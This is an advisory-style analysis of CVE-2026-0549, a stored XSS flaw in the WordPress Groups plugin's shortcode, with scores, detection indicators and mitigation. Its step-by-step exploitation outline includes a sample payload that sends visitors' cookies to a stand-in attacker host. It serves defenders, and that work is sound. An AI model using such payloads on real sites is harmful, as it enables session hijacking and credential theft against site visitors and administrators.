CVE-2026-0549: 
WordPress vulnerability analysis and mitigation

CVE-2026-0549 is a Stored Cross-Site Scripting (XSS) vulnerability in the Groups plugin for WordPress, affecting all versions up to and including 3.10.0. The flaw exists in the groups_group_info shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on February 19, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Authenticated attackers with contributor-level access or above can embed malicious JavaScript payloads within the groups_group_info shortcode attributes in WordPress posts or pages. Because the plugin fails to sanitize input or escape output before rendering, the injected script is stored server-side and executes in the browser of any user who visits the affected page (Red Hat CVE, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, enabling session hijacking, credential theft, defacement, or redirection to malicious sites. The CVSS scope is marked as Changed, meaning the impact extends beyond the vulnerable component to affect other users' sessions. Confidentiality and integrity are both rated Low impact, with no direct availability impact; however, chained attacks could escalate privileges or compromise site administrators (Red Hat CVE).

Exploitation requires authenticated access at the contributor level or above, limiting the attack surface compared to unauthenticated vulnerabilities. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of active exploitation in the near term. No evidence of in-the-wild exploitation, public PoC code, exploit kit integration, or CISA KEV catalog listing has been reported as of the available data (Red Hat CVE, Wordfence).

1. Reconnaissance: Identify WordPress sites running the Groups plugin version 3.10.0 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert a groups_group_info shortcode with a malicious JavaScript payload embedded in a user-supplied attribute, e.g., [groups_group_info attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or save the content: Submit the post/page for review or publish it directly, causing the payload to be stored in the WordPress database.
5. Trigger execution: When a victim (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session token theft, credential harvesting, or further attacks (Red Hat CVE, Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing groups_group_info shortcode with encoded script tags or JavaScript event handlers in attribute values.
• Database: WordPress wp_posts table entries containing groups_group_info shortcode with suspicious attributes including <script>, onerror, onload, or encoded JavaScript (<script>, %3Cscript%3E).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the Groups plugin shortcode, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to WordPress post content or plugin files in the Groups plugin directory (/wp-content/plugins/groups/).

Users should update the Groups plugin to a version beyond 3.10.0 that includes proper input sanitization and output escaping for the groups_group_info shortcode. As an interim workaround, restrict contributor-level and above user registrations to trusted individuals, and consider disabling the Groups plugin until a patched version is confirmed available. Site administrators should also review existing posts and pages for any suspicious shortcode usage (Wordfence, Red Hat CVE).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for February 16–22, 2026, flagging it as part of routine plugin security monitoring (Wordfence). No significant broader media coverage, notable researcher commentary, or social media discussion has been identified beyond standard vulnerability database aggregation.